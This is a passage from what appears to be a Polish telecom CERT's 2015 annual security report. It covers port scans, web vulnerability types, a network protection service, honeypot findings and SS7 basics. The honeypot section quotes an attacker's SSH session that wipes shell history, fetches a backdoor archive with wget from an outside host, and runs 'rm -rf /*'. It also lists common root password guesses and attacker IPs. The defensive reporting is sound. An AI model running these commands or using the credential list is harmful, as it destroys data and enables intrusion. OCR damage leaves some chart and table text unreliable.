otoczenia sieciowego ofiary.

8. Skanowania portéw i podatnosci

8.1. Skanowania

Dziatania cyberprzestepcy usitujacego przedrzeé sie
do docelowej maszyny zaczynaja si¢ zazwyczaj od
rozpoznania otoczenia sieciowego ofiary. Polega ono
na przeprowadzeniu skanowania systemu za pomoca
przeznaczonych do tego celu narzedzi w poszukiwaniu
aktywnych ustug (otwartych na okreslonych portach).
Pozwala to atakujacemu na ustalenie (bezposrednio
lub z duzym prawdopodobieinstwem) rodzajow i wer-
sji ustug uruchomionych na potencjalnym celu ataku.
Jesli okaze sie, iz ktéras z ustug ma niezatatana podat-
nos$¢é, moze zosta¢ wykorzystana do przeprowadzenia
ataku, a w skrajnych sytuacjach nawet do wykonania
kodu z uprawnieniami administratora. Pozwolitoby to
intruzowi na instalacje backdooréw umozliwiajacych
dostep do danego systemu juz w fatwiejszy sposéb,
a takze ukrycie w systemie swojej obecnosci dzieki
mniej wykrywalnym rootkitom, aby ustrzec si¢ przed
wykryciem przez opiekuna systemu.

CERT Orange Polska zaleca

By zapobiegaé tego typu rozpoznaniom i wykorzysta-
niu luk bezpieczenstwa, nalezy:

= regularnie aktualizowaé oprogramowanie,

= odpowiednio konfigurowaé zapory sieciowe, udo-
stepniajac wytacznie niezbedne ustugi,

= wdrazacé rozwiazania bezpieczenstwa, jak: IPS (Intru-
sion Prevention System), HIPS (Host Intrusion Pre-
vention System)/IDS (Intrusion Detection System).

W tabeli 4. znajduja sie statystyki dotyczace skanowan
portow i ustug, na jakie zostaty one skierowane, wraz
z podatnosciami, na ktore narazone moga by¢ hosty do-
celowe. Tabela powstata w wyniku analizy przez CERT
Orange Polska adresow IP zrédet skanowania.

Pozycja
Polska
Niemcy
Stany Zjednoczone
Chiny
Holandia
Francja
Rosja
Kanada
Anglia

Wiochy

TOP 10 najczesciej skanowanych portéw i ich zastoso-
wanie (wg czestotliwosci skanowan):

1433 - uzywany standardowo przez MS SQL Server
popularny system zarzadzania bazami danych.
W przesziosci byt podatny na zdalne wykonanie
kodu przez przepehienie bufora (CVE-2002-1123)
oraz zablokowanie pracy serwera przez atak
DDoS (CVE-1999-0999).

8080 - jest uzywany przez wiele serwerow web proxy
oraz aplikacji, m.in. Syncthing GUI, M2MLogger
lub serwer Apache Tomcat.

3128 - port serwera posredniczacego (proxy) uzywa-
ny przez aplikacje Squid. Podatny na dwa typy
atakow: zablokowanie ustugi spreparowanymi
nagiéwkami http oraz umozliwienie wykonania
kodu przez przepetnienie bufora. Celem ataku
moze by¢ tez wykorzystanie otwartych serwe-
réw proxy do dalszych atakéw, co utrudnia wy-
krycie sprawcy.

9200 - uzywany przez aplikacje WapServ wykorzystuja-
ca protokot WAP Connectionless Wireless Ses-
sion Protocol (WSP). Starsze wersje oprogra-
mowania podatne sa na ataki Denial of Service
(BID-8472).

3306 - port popularnej bazy danych MySQL. Czesto
atakowany poprzez liczne proby odgadniecia
loginu i hasta.

5900 - Virtual Network Computing (VNC), oprogramo-
wanie umozliwiajace zdalny dostep do kompu-
tera. Wiele jego wersiji jest podatnych na omi-
niecie uwierzytelnienia, uzyskanie zdalnego
dostepu bez znajomosci hasta i w efekcie prze-
jecie kontroli nad urzadzeniem (CVE-2006-2369,
CVE-2006-1652, CVE-2008-5001, CVE-2009-0388,
CVE-2013-5745).

Liczba unikalnych portow

11554

4288

2836

1852

1714

1287

838

692

589

525

Tabela 4. Kraje, z ktorych wykryto najwigksza liczbe skanowanych unikalnych portéw
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21320, 135 - nieobstugiwane przez zadne dedykowane
oprogramowanie, prawdopodobnie uzywane do
realizacji jednego z backdoorow.

8888 - port obstugiwany przez aplikacje do wirtualiza-
cji HyperVM, stuzacy do zarzadzania serwerem
przy uzyciu protokotu HTTPS.

110 - protokét POP3 uzywany do odbioru poczty elek-
tronicznej.

Najczesciej skanowane ustugi to natomiast MS SQL
Server oraz proxy. Podobna sytuacja miata miejsce
w 2014 roku. Ustuga MS SQL Server moze by¢ atrak-
cyjna pod wzgledem mozliwosci uzyskania wrazli-
wych danych (np. uwierzytelnienia do kolejnych ustug),
a sama w sobie moze by¢ tez wykorzystywana do de-
tekcji systemu Windows. Natomiast w przypadku ustu-
gi proxy atakujacy uzywa serwera ofiary do ataku na
docelowa maszyne i pozostawienia bfednych sladow
dotyczacych sprawcy ataku. Duzy zakres skanowa-
nych portéw moze natomiast $wiadczy¢ o poszukiwa-
niu tylnych furtek (szczegdlnie przy skanowaniach por-
tow nieuzywanych przez zadne znane ustugi).

8.2. Podatnosci w webaplikacjach

W ostatnim czasie aplikacje WWW staly sie jednym
z gtéwnych celéow atakéw. Zawarte w nich biedy i po-
datnosci moga pozwoli¢ atakujacemu na przedarcie
sie do wewnatrz systemu, a nawet firmowej sieci, ale
takze zaatakowacé uzytkownikéw podatnych serwiséow
przez pozornie mniej inwazyjne btedy (np. XSS).

SQL Injection - polega na wstrzyknieciu zapytania
SQL do juz istniejacego zapytania. To bardzo popular-
na technika, czesto umozliwiajaca atakujagcemu nie-
uprawniony dostep do serwisu, np. przez wstrzykniecie
zapytania o hasto administratora. By temu zapobiec,
nalezy odpowiednio filtrowa¢ zapytania kierowane do
systemu, sprawdzaé typy danych czy wycinaé¢ poten-
cjalnie niebezpieczne znaki pozwalajace na wstrzyk-
nigcie zapytania (np. apostrof czy cudzystow).

Broken Links
2517
13%

Possible tempora-
ry file/directory
1970
10%

339
7%

Directory Listing
18%

Email address
found
1114
6%

Password
type input
with auto-
-complete

Uncontrolled
format string
1000

5%

Wykres 24. Najczestsze podatnosci w serwerach webowych

Possible server path
disclosure (Unix)
1

RFI (Remote File Include) - pozwala na dotaczenie do
wykonywanego kodu PHP innego kodu znajdujacego
sie na zewnetrznym serwerze kontrolowanym przez
atakujacego. Wskutek tego napastnik moze wykony-
waé dowolny kod po stronie serwera, przeja¢ serwis
lub nawet serwer hostujacy.

LFl (Local File Include) - dofaczenie wskazanego
przez atakujacego pliku tekstowego do wykonywane-
go kodu, dzieki czemu mozliwe jest podejrzenie tre-
$ci pliku pozornie niedostepnej dla oséb postronnych
(pliki konfiguracyjne zawierajace hasta do ustug, logi,
listingi plikow itd.). W skrajnych warunkach atakujacy
jest w stanie zamiesci¢ np. w logach Apache kod PHP,
a nastepnie uruchomié go przez LFl, w efekcie odczy-
tujac logi serwera WWW.

CSRF (Cross Site Request Forgery) - wykorzystanie
aktualnej sesji uzytkownika do wysytania bez jego wie-
dzy zadan podstawionych przez atakujacego. Efektem
moga by¢é zmiana hasta, konfiguracji czy inne nieau-
toryzowane dziatania widoczne jako wykonane przez
ofiare ataku.

XSS (Cross-Site Scripting) — nieautoryzowane wstrzyk-
niecie kodu (najczesciej JavaScript) do aplikacji webo-
wej. Efektem moga byé kradziez ciasteczek (umozli-
wiajacych przejecie sesji zalogowanego uzytkownika),
wykonanie niepozadanego kodu JavaScript (np. wysta-
nie spamu do innych uzytkownikéw serwisu), przekie-
rowanie na host atakujacego itp.

XXE (XML eXternal Entity) - wystepuje w btednie skon-
figurowanych parserach plikéw XML. Pozwala na od-
czytanie za pomoca specjalnych modyfikaciji pliku XML
plikéw konfiguracyjnych, np. z hastami i innymi wrazli-
wymi danymi.

AFD (Arbitary File Download) - wystepuje czesto
w btednie zaimplementowanych skryptach odpowiada-
jacych za sciaganie plikéw. Pozwala na sciagniecie do-
wolnego pliku (z uprawnieniami do odczytu!) na kom-
puter atakujacego. Réznica w poréwnaniu z atakiem

Niskie _~
4%

Wykres 25. Rozkiad poziomoéw krytycznosci
podatnosci w aplikacjach webowych

Wysokie
6%

Niskie
4%

Wykres 26. Rozktad poziomoéw krytycznosci
podatnosci w systemach operacyjnych

LFl polega na tym, ze plik nie zostanie wykonany po
stronie serwera, a jedynie przekazany do atakujacego.

Wykres 24. przedstawia podatnosci (w tym informacyj-
ne) wystepujace najczesciej w serwerach web przy-
gotowanych do wdrozenia produkcyjnego w Orange
Polska.

W tabeli 5. przedstawiono natomiast najczesciej wy-
stepujace podatnosci z kategorii ryzyka ,,wysokie”.

Poziom krytycznosci podatnosci w badanych aplikacjach
WWW dzielity sie tak jak przedstawia wykres 25.

Natomiast podziat podatnosci w analizowanych przez
zespot CERT Orange Polska systemach operacyjnych
przedstawia kolejny wykres 26.

Possible server path disclosure 1339

SSL weak ciphers 479

HTML form without CSRF protection 476

Login page password-guessing attack 353

SVN repository found 242
POODLE 170
Slow HTTP Denial of Service Attack 156
CRIME SSL/TLS attack 119

Tabela 5. Najczestsze podatnosci z kategorii ryzyka ,,wysokie”

Linux 2.4.x 119
Linux 2.6.x 96
Windows Server 2003 85
Windows Server 2008 68
Windows Server 2012 28
Cisco I0S 24
Windows 7 (Service Pack 1) 16
Windows XP 12
Windows 7 Professional (Service Pack 1) 11

Tabela 6. Systemy operacyjne pod wzgledem liczby wykrytych
unikalnych podatnosci

Systemy operacyjne z najwieksza liczba unikalnych
podatnosci to tabela 5.

Wysoka liczba podatnosci wystepujacych w syste-
mach Linux wynika z faktu ujmowania ich w statysty-
kach wielu dystrybuciji jako jednej grupy. Dla czesci
z nich (Red Hat, CentOS, SUSE) dostepne jest wyso-
kopoziomowe wsparcie, natomiast bezpieczenstwo
innych zalezy gtéwnie od kompetencji administratoréw
i ich Swiadomosci zagrozen. Najczestszymi metodami
atakéw wykorzystujacych podatnosci, a skierowanych
w systemy operacyjne i ich ustugi, sa ataki stowniko-
we na mechanizmy uwierzytelnienia (przede wszystkim
ustugi telnet, RDP, VNC oraz SSH).



8.3. CyberTarcza Orange Polska

Najwiekszy jak do tej pory cyberatak w naszym kraju,
czyli opisane w Raporcie CERT Orange Polska za rok
2014 przejecie modeméw DSL polskich internautéw,
to jedna z gtéwnych przyczyn powstania CyberTarczy.
Wtedy ad hoc zostato przygotowane narzedzie, dzieki
ktéremu mogliSmy poinformowaé ofiary ataku o tym,
co sie stato, a takze przekazac¢ im instrukcje usuniecia
zagrozenia. Tamte chwile udowodnity, ze takie narze-
dzie w sieci nhowoczesnego operatora jest w dzisiej-
szych czasach bardzo potrzebne.

CyberTarcza to funkcja sieci dostepna automatycznie
od momentu wdrozenia dla kazdego uzytkownika Neo-
strady za darmo. Nie zastepuje ona antywirusa. Nalezy
ja traktowac¢ jako uzupetnienie posiadanych zabezpie-
czen. Pozwala na wczesne wykrycie nowych mutaciji
malware’u badz nierozpoznawanych jeszcze przez
antywirusy kampanii ztosliwego oprogramowania. Do-
datkowo diagnozuje stwierdzone w sieci uzytkownika
podatnosci sprzetu czy oprogramowania i informuje go
o nich. Rozwiazanie bazuje na analizie zgodnosci ru-
chu wychodzacego z sieci domowej klienta ze znanymi
wzorcami generowanymi przez malware, dlatego tez
klienci otrzymuja wiadomosci o zagrozeniu dotycza-
cym sieci, a nie konkretnego urzadzenia.

Sita CyberTarczy sa jednak przede wszystkim dziatania
operacyjne CERT Orange Polska, ktérych efekty widzi-
my potem na ekranie. Z miliardéw zdarzen przecho-
dzacych miesieczne przez nasze systemy wyselekcjo-
nowana czes¢é trafia do naszego laboratorium. Na tej
podstawie eksperci doktadnie analizuja cechy ztosli-
wego oprogramowania, jego dziatanie wewnatrz sys-
temu, a takze to, z jakimi adresami usituje sie taczyc.

W nastepnym kroku adresy IP kojarzone z przestepcza
aktywnoscia sa blokowane dla klientéw ustug Orange

Polska. Kolejne testy maja na celu odnalezienie opro-
gramowania, ktore skutecznie usunie ztosliwy kod
z zainfekowanego systemu. Na bazie uzyskanych in-
formaciji tworzona jest doktadna, szczegétowa i zrozu-
miata dla kazdego internauty instrukcja, w jaki sposéb
usunaé zagrozenie.

Dla klienta koncowego CyberTarcza dziata w dwéch
trybach.

W pierwszym kazdy uzytkownik Neostrady moze
wejs¢é na strone https://cert.orange.pl/cybertarcza,
by sprawdzi¢ stan bezpieczenstwa swojej sieci. Moz-
na tego dokonaé¢ z dowolnego urzadzenia, warun-
kiem jest, by bylo w danym momencie podiaczone do
domowej sieci (za posrednictwem kabla badz WiFi).

Drugi tryb uruchamiany jest w przypadku, gdy CERT
Orange Polska stwierdzi, iz wykryte zagrozenie sta-
nowi wyjatkowo duze ryzyko dla danych wrazliwych
naszych klientéw. Zadziata wtedy proaktywny mecha-
nizm CyberTarczy, a uzytkownik, ktéry znajdzie sie
w grupie zagrozonych, zostanie tymczasowo odciety
od internetu. Informacja o tym dotrze do niego w mo-
mencie, gdy uruchomi przegladarke. Na zaprezen-
towanej stronie mozna zapoznac sie z informacjami
dotyczacymi zagrozenia oraz z doktadna instrukcja
jego usuniecia umieszczong réwniez w mozliwym
do Sciagniecia pliku PDF. Po wcisnigeciu przycisku
na dole strony uzytkownikowi zostaje przywrécony
dostep do internetu. Tym niemniej - ze wzgledu na
nature zagrozen - zalecane jest, by uprzednio usunat
ztosliwe oprogramowanie ze swojego systemu.

W celu unikniecia ryzyka zwigzanego z phishingiem
strona https://alert.cert.orange.pl/ prezentujaca opisy-
wane informacje jest szyfrowana, a uzytkownik moze
poréwnacé zamieszczone na stronie screenshoty z tre-
Scig okna pojawiajacego sie po kliknigciu w kiédke.
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Tytutowe ,,garnki miodu”
(honeypoty) to ustugi
przynety pozorujace przed
cyberprzestepca mniej

lub bardziej podatne serwisy.
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9. ,,Garnki miodu” przeciw cyberprzestepcom

W 2015 roku CERT Orange Polska rozpoczat projekt
majacy prowadzi¢ do uzyskania dodatkowych informa-
cji o atakach i w efekcie zwiekszy¢ mozliwosci podej-
mowania proaktywnych dziatan poprawiajacych bez-
pieczenstwo w sieci Orange Polska. Tytutowe ,garnki
miodu” (honeypoty) to uslugi przynety pozorujace
przed cyberprzestepca mniej lub bardziej podatne ser-
wisy. Honeypoty sa gotowe na atak, wiec ich celem jest
zebranie mozliwie kompletnej dokumentacji dotycza-
cej dziatan cyberprzestepcow. Pozwalaja one na gro-
madzenie wielu ciekawych informacji z punktu widze-
nia zespotu CERT operatora, w tym m.in. dotyczacych:

m zrodet atakéw: adresow IP oraz systeméw autono-
micznych (AS),
= adresow IP zawierajacych ziosliwe tresci,

mlist haset wykorzystywanych przez atakujacych,
w tym przez narzedzia automatycznie skanujace do-
stepne w sieci urzadzenia,

m charakterystyki komunikacji botnetow,
= nieznanych podatnosci (0-day) urzadzen sieciowych
oraz sposoboéw ich wykorzystania,

= nowych metod wykorzystywania otwartych ustug ce-
lem atakéw DDoS.

Zebrane informacje wykorzystywane sa m.in. do wdra-
zania dodatkowych srodkéw bezpieczenstwa, iden-
tyfikacji nowych zagrozen, optymalizacji systemoéw
ochrony przed DDoS, identyfikacji serweréw Com-
mand & Control botnetéw oraz jako istotne zrédio da-
nych o zagrozeniach dla CyberTarczy.

Przyktady zarejestrowanych aktywnosci:

- TOP 10 kombinacji uzytkownik/hasto (SSH) wykorzy-
stywanych przy prébie zalogowania do otwartej ustugi
(wykres 27.),

- TOP 10 kombinacji uzytkownik/hasto (SSH) wykorzy-
stywanych przy prébie zalogowania do otwartej ustugi
(wykres 28.),

- geograficzna mapa zrodet atakéw na podstawie ad-
resow IP (wykres 29.),

- TOP 10 skanowanych portéw - najczesciej atakowa-
ne ustugi (wykres 30.),

mowania po przejeciu kontroli nad atakowanym ser-
werem (wykres 31.),

—TOP 5 uzywanych exploitéw po uzyskaniu dostepu do
sieci honeypot (wykres 32.).

20% . root/123456
18% . root/admin
12% root/password
12% . root/12345
8% . root/abcd1234
7% . root/root
6% . root/P@sswOrd
6% . root/qwer1234
5% . root/abc123
5% . root/password1

Wykres 27. TOP 10 kombinaciji uzytkownik/hasto (SSH) wykorzystywanych przy probie zalogowania do otwartej ustugi

21% . 213.236.56.82

18% . 119.188.7.202

11% 67.15.10.28
9% . 103.41.124.33
8% . 190.124.32.65
7% . 58.215.16.142
7% . 213.144.123.178
7% . 103.41.124.44
6% . 60.249.201.106
6% . 103.41.124.13

Wykres 28. TOP 10 kombinacji uzytkownik/hasto (SSH) wykorzystywanych przy prébie zalogowania do otwartej ustugi
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Wykres 29. TOP atakujacych IP
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Wykres 31. TOP 5 najczesciej Sciaganego zlosliwego oprogramowania po przejeciu kontroli nad atakowanym serwerem
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Ponizej znajdziemy przyktadowy listing z ataku na ustu-
ge SSH oraz geolokalizacje atakujacego (rysunek 11.).

Atakujacy usituje ukryé swoja aktywnosé w systemie.

fake_host:~# unset HISTFILE
fake_host:~# unset HISTSAVE

Rekonesans, wyswietlenie informacji o zalogowanych
uzytkownikach, interfejsach sieciowych, procesorach
etc.

fake_host:~# w

fake_host:~# Is -al.
fake_host:~# uname -a
fake_host:~# cat /proc/cpuinfo
fake_host:~# /sbin/ifconfig —a

Przygotowanie folderu i pobranie zewnetrznej zawar-
tosci.

fake_host:~# cd /usr/src/

fake_host:/usr/src# mkdir info

fake_host:/usr/src# cd info

fake_host:/usr/src/info# wget sniff.pe.hu/prv/SSHdb.
tgz

fake_host:/usr/src/info# ftp ftp.hpost.sk

Napastnik probuje zainstalowaé pakiety w systemie.
Prawdopodobnie zorientowat sie, iz ma do czynienia
z honeypotem - natychmiast podejmuje prébe wyczysz-
czenia plikéw na serwerze oraz zamknigcia systemu.

MS05039,"3.02" MS04007,"2.02"

msms

Wykres 32. TOP 5 uzywanych exploitéw

fake_host:/usr/src/info# yum install ftp
fake_host:/usr/src/info# apt-get install ftp
fake_host:/usr/src/info# w
fake_host:/usr/src/info# ps x
fake_host:/usr/src/info# rm -rf /*
fake_host:/usr/src/info# rm -rf */
fake_host:/usr/src/info# kill -9 -1

W trakcie powyzszego ataku napastnik chciat umiescic
w systemie backdoor - oprogramowanie umozliwiaja-
ce atakujacemu ponowne zalogowanie si¢ na serwer,
mimo np. zmiany hasta przez administratora SSH. Scia-
gnieta paczka SSHdb.tgz zawiera specjalnie przygoto-
wane zrodta serwera oraz klienta SSH wraz z ,przy-
jaznym dla uzytkownika” skryptem instalacyjnym. Po
rozpakowaniu i uruchomieniu mozemy wykonacé konfi-
guracje podstawowych cech backdoora i przejsé pro-
ces kompilacji i instalaciji.

Na poczatku malware konfiguruje swoje parametry
i kompiluje pliki zrédtowe (rysunek 12.).

Po zakonczeniu procesu kompilacji czyszczone sa logi
atakowanego systemu, zas napastnik otrzymuje pod-
sumowanie (w systemie lub mailem - rysunek 13.).

Nastepnie oryginalne wersje serwera oraz klienta SSH
zostaja zastapione przez wersje zawierajaca backdoor
i restartowany jest serwer SSH. Ostatnim krokiem jest
zalogowanie sie do systemu za pomoca zdefiniowane-
go przez przestepce hasta - w naszym przypadku jest
to ,Raport_CERT” (rysunek 14.).
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Rysunek 11. Geolokalizacja sprawcy ataku

Terminal (as superuser)

File Edit View Search Terminal Help

CHECKING THIS SYSTEM

¥ GCC: F
G++: F
MAKE : [
OPENSSL DEVEL: F

- K :

]
]
]
]
LIB: ]

F26vUCso] : Raport CERT
Raport_CERT
netda.h] : Jusr
( C set to : fusr/include/cert.h
SH Version [OpenSSH_7.1]:
SH Version set to : OpenSSH 7.1

t Configuring our ¢ Backdoor

Rysunek 12. Konfiguracja parametrow i kompilacja zrédet

Terminal (as superuser)

File Edit View Search Terminal Help

[1cd805]

b# I

Rysunek 13. Podsumowanie instalacji backdoora
Terminal (as superuser)
File Edit View Search Terminal Help
2015 from

m are
cribed ir

with ABSOLUTELY \ to the
ble law

|Enjoy this private backec
|We won't do any harm to y

12:55:59 up 9:44, 3 users, ave e: 0.47, 0.25, 0.23
ITY FROM LOGIN@ IDLE JCPU PCPU WHAT
tty7 10 28Mayl5 191days 26:10 0.04s gdm sion-wor
pts/2 10,0 15Augl5 109days 0.05s 0.,05s bash
root pts/4 :0.0 I2555 14.00s 0.00s 0,00s ssh localhost
Linux 1cd805 3.2,0-4-686-pae #1 SMP Debian 3.2.63-2+deb7ul i686 GNU/Linux

Rysunek 14. Backdoor zalogowany w systemie ofiary



Terminal (as superuser)
File Edit View Search Terminal Help

opyright.

UTELY NO WARRANTY, to the

12:58:59 up 9:47, 3 users, load average: 0.03, 0.15, 0.20
S TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
tty7 HJ 28Mayl5 191days 26:10 0.05s gdm-session-wor
pts/2 10,0 15Augl5 109days 0.05s 0,05s bash
root pts/4 :0.0 12:55 11.06s 0.081s 0.00s ssh localhost
Linux 1cd805 3.2.0-4-686-pae #1 SHP Debian 3.2.63-2+deb7ul i686 GNU/Linux

root@lcd

Rysunek 15. Informacja dla przestepcy o zgromadzonych przez malware danych ofiar

Terminal (as superuser)

File Edit View Search Terminal Help

Rysunek 16. Zawartosé pliku z wykradzionymi danymi

Uzyskany przez przestepce dostep pozwala mu wyko-
nywaé¢ dowolne dziatania w zaatakowanym systemie
(posiada uprawnienia uzytkownika root), zapisywac
i przechwytywaé adresy, loginy oraz hasta uzytkowni-
kéw zaréwno logujacych sie do przejetego serwera, jak
i wykonujacych z niego potaczenia przy uzyciu podmie-
nionego klienta SSH.

Logujac sie po pewnym czasie na konto ,,administracyj-
ne” przestepcy, na ekranie powitalnym mozna zauwa-
zy¢ informacije o liczbie skradzionych zestawoéw danych
uzytkownikéw (wykres 15.).

By otrzymaé zgromadzone informacje, wystarczy wy-
Swietli¢ zdefiniowany uprzednio plik z danymi ofiar (ry-
sunek 16.).

Wpisy z polem +host oznaczaja potaczenia wychodza-
ce. W tym przypadku testy wykonywane byly lokalnie,
stad podwaéjne wpisy oraz lokalny adres hosta.

CERT Orange Polska rekomenduje:

Nigdy nie zezwalaj na bezposrednie logowanie na
konto root przy uzyciu ustugi SSH.

Zawsze aktualizuj oprogramowanie, a jesli nie jest
niezbedne - usun je.

Stare, nieuzywane oprogramowanie na serwerze
moze prowadzi¢ do przetamania zabezpieczen Two-
jego systemu, w tym réwniez do lokalnej eskalacji
uprawnien z poziomu zwyktego uzytkownika do
poziomu roota.

Uniemozliwiaj ustawianie przez uzytkownikéw haset
pustych/zbyt tatwych/stownikowych.

Jesli to mozliwe, zezwalaj na potaczenia do SSH jedy-
nie z uprawnionych adreséw IP.



9.1. Okiem partnera - Fundacja
Bezpieczna Cyberprzestrzen

Najwieksze zagrozenia dla bezpieczenstwa w interne-
cie w roku 2016

Wedtug przeprowadzonych przez nas analiz, zawartych
réwniez w naszym raporcie dostepnym na stronie Fun-
dacji Bezpieczna Cyberprzestrzen, w 2016 roku najbar-
dziej prawdopodobne s3a nastepujace zagrozenia:

phishing z wykorzystaniem poczty elektronicznej
i serwisow WWW - 4,33,

zagrozenia dla platformy Android - 4,21,
wycieki baz danych - 4,21.

Praktycznie od trzech lat zagrozenia zwigzane z akcjami
phishingowymi z wykorzystaniem poczty elektronicznej
i serwisow WWW stoja na pierwszym miejscu. Niestety
te przepowiednie réowniez w tym roku sie sprawdza. Do-
minacja tego wektora ataku jest wyrazna. Mozna tylko
odnotowac przesuniecie sie balansu z phishingu WWW
na poczte elektroniczna. Jak widaé, nie ma oczekiwa-
nia, ze wiele si¢ tutaj zmieni.

Zagrozenia zwigzane z systemem operacyjnym Andro-
id to ponownie druga pozycja wsréd liderow najbar-
dziej prawdopodobnych zagrozen. Trendowi migraciji
ustug z komputeréw stacjonarnych do urzadzen prze-
nosnych niestety towarzyszy rowniez migracja zagro-
zen. Szczegolnie dotyczy to wiasnie systemu Android.
Powdd jest znany - otwarta architektura dystrybucji
aplikacji i niewielka skfonnos¢é uzytkownikéw do aktu-
alizacji swoich systemow.

Taka sama ocene wsréd ekspertéw zebrato zagroze-
nie zwigzane z wyciekami danych. To reakcja na fakt,
ze takie przypadki na state zagoscity w dossier dziatan
cyberprzestepcow wymuszajacych okup lub chcacych
skompromitowacé zaatakowana organizacje.

Prawdopodobienstwo wystapienia to jedno, a sita od-
dziatywania danego zagrozenia to drugie. W tej dzie-
dzinie wida¢ wyraznie, ze najbardziej niepokojace sa
zagrozenia zwigzane z cyberkonfliktami pomiedzy pan-
stwami (4,31) oraz ataki na systemy sterowania prze-
mystowego ICS/SCADA (4,55). Te pozycje to powtdrka
z roku ubieglego. Ostatnie doniesienia z Ukrainy juz sa
pozytywna weryfikacja ocen ekspertow.

Zachecamy do zapoznania sie z catoscia raportu Fun-
dacji?. Stanowi¢ on moze wartosciowy wkiad do anali-
zy ryzyka w obszarze cyberbezpieczenstwa, ktéra po-
winna przeprowadzi¢ kazda dojrzata instytucja.

Mirek Maj
Fundacja Bezpieczna Cyberprzestrzen

9.2. Okiem partnera - zespo6t
zarzadzania ryzykiem PwC

Zmieniajace sie otoczenie biznesowe i rozwdj technolo-
gii wymagaja od lideréow organizacji podejmowania wia-
Sciwych decyzji dajacych przewage na konkurencyjnym
rynku. Pozycja lidera jest powigzana z zaufaniem do
sposobu zarzadzania bezpieczenstwem informacji oraz
skutecznoscig ochrony danych klientow.

Zyjemy w erze cyberatakéw i kryzysu zaufania. Liczy
sie szybka i sprawna reakcja na incydenty. Taka, ktéra
synchronizuje technologie, dziatania prawne i zarza-
dzanie komunikacja. Cyberbezpieczenstwo przestato
byé trendem - stato sie strategiczna koniecznoscia.

Firmy wchodzace w transformacje cyfrowa budu-
ja swoje modele biznesowe w oparciu o technologie
i rozwigzania, ktére otwieraja nowe zrédita przycho-
dow. Czesto takie, ktore wychodza poza ich dotych-
czasowe pole dziatania czy nawet sektor. To wymaga
kompleksowego podejscia, ktore bedzie obejmowac
nie tylko strategie, ale takze jej skuteczne wdrozenie
oraz monitoring ryzyk.

Tymczasem firmy w Polsce zanotowaty w tym roku
wzrost liczby incydentéw az o 46%. Jak wskazuje trze-
cia edycja raportu PwC dotyczaca stanu bezpieczen-
stwa informaciji, pofowa badanych przez nas firm od-
notowata wiecej niz 6 cyberatakéw w ciagu ubiegtego
roku. 31% ankietowanych w badaniu PwC wskazato, ze
incydenty byly zwiazane z ujawnieniem lub modyfika-
cja danych. W 33% przelozyly sie na straty finansowe,
utrate klientow lub spér sadowy z tytutu naruszenia
bezpieczenstwa informaciji.

Podsumowujac, bezpieczenstwo informaciji, reputacja
oraz zaufanie klientéow to kluczowe elementy budowy
przewagi konkurencyjnej na rynku. Dlatego tak wazne
jest badanie stanu bezpieczenstwa, wyciaganie wnio-
skéw i podejmowanie na ich podstawie adekwatnych
decyzji, a takze budowanie programéw zwigkszajg-
cych poziom bezpieczenstwa. Przedsiebiorstwa w Pol-
sce czeka pracowity rok.

Piotr Urban
Partner, Zespo6t Zarzadzania Ryzykiem PwC

1. Skala wartosciowania 1-5.

2. Petnej wersji raportu szukaj na stronie Fundacji www.cybsecurity.org w dziale raporty.

Praktycznie od trzech

lat zagrozenia zwiazane

Z akcjami phishingowymi
Z wykorzystaniem poczty
elektronicznej i serwisow
WWW stoja na pierwszym
miejscul.

Mirek Maj

Zyjemy w erze cyberatakow
i kryzysu zaufania. Liczy sie
szybka i sprawna reakcja
na incydenty.

Piotr Urban
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W ostatnim czasie

mozna zaobserwowac
wzrost zainteresowania
cyberprzestepcow
podatnosciami protokotu
czy tez btedami konfiguracji
strategicznych weziow.

10. Bezpieczenstwo Signalling System nr 7 (SS7)

SS7 (Signaling System No. 7) to zbiér protokotow w sie-
ciach PSTN (Public Switched Telephone Network - te-
lefonia stacjonarna) oraz mobilnych. Jego zadania to
m.in.: zestawianie polaczen telefonicznych oraz pota-
czen transmisji danych, roaming, autoryzacja, nalicza-
nie optat czy transport komunikatéw miedzy weztami.
SS7 zostat zaprojektowany w latach 70., jego standa-
ryzacja trwata do lat 90., gdy bezpieczenstwo IT - ta-
godnie moéwiac - nie bylo jeszcze kwestia kluczowa,
a sam internet dopiero raczkowat. Wystarczyto, ze wy-
korzystujace SS7 korporacje teleinformatyczne obda-
rzaly sie wzajemnym zaufaniem. Od tamtego czasu po-
wstalo wiele firm wykorzystujacych dostep SS7, a sam
dostep stat sie tez tatwiejszy. W poczatkach istnienia
transmisja byta uznawana za bezpieczna — wykorzysty-
wane byly tacza PCM E1 bez mozliwosci dostepu stro-
ny trzeciej, a potaczenia byly bezposrednie. W ostatnim
czasie mozna zaobserwowac wzrost zainteresowania
cyberprzestepcow podatnosciami protokotu czy tez
btedami konfiguracji strategicznych weziéw. Przez te
wezly wiadomosci SS7 sa enkapsulowane w sie¢ IP(IP/
SCTP/SIGTRAN), dlatego tez dostep do sieci sygnali-
zacyjnej jest o wiele tatwiejszy dla oséb nieuprawnio-
nych. W dalszej czesci tego rozdziatu przyjrzymy sie
najpopularniejszym wykorzystywanym przez cyber-
przestepcow podatnosciom.

W zrozumieniu zagadnien bezpieczenistwa SS7 moze
pomaéc opis podstawowych elementéw sieci.

Infrastruktura:

= HLR (Home Location Register). Rejestr abonentéw
lokalnych. Baza danych zawierajaca m.in.: numer te-
lefonu (MSISDN), numer IMSI na karcie SIM, informa-
cje dotyczaca MSC, w ktérym obecny jest abonent.

= MSC (Mobile Switching Center). Wezet odpowiada-
jacy za routing pofaczen telefonicznych i SMS-6w,
zestawianie i zakanczanie potaczen. Gdy urzadzenie
mobilne znajdzie sie w zasiegu BTS i zostanie podta-
czone do MSC (np. przetaczenie z innego MSC, wig-
czenie telefonu), MSC aktualizuje w VLR informacje
o MSISDN oraz IMSI.

= MSISDN (Mobile Station International Subscriber
Directory Number). Numer abonenta, potocznie nu-
mer telefonu.

m SMSC (Short Message Service Center). Posredniczy
w przesytaniu SMS-6w, jednym z zadan jest np. prze-
chowanie SMS-6w, jesli odbiorca jest niedostepny
(ma wytaczony telefon, jest poza zasiegiem), do cza-
su okreslonego z gory przez operatora.

= VLR (Visitor Location Register). Rejestr abonentéw
gosci, tozsamy z HLR.

= SEP (Signal End Point). Kazdy z wymienionych wcze-
$niej wezidw, do ktdérego jest zaadresowany pakiet
protokotu SS7.

u STP (Signal Transfer Point). Wezet posredniczacy
w wymianie pakietéw SS7, miedzy innymi STP i SEP.
Pakiety sa przekierowywane wedtug adreséw SPC
(Signaling Point Code - punkt przejsciowy), OPC
(Originating Point Code - punkt poczatkowy) i DPC
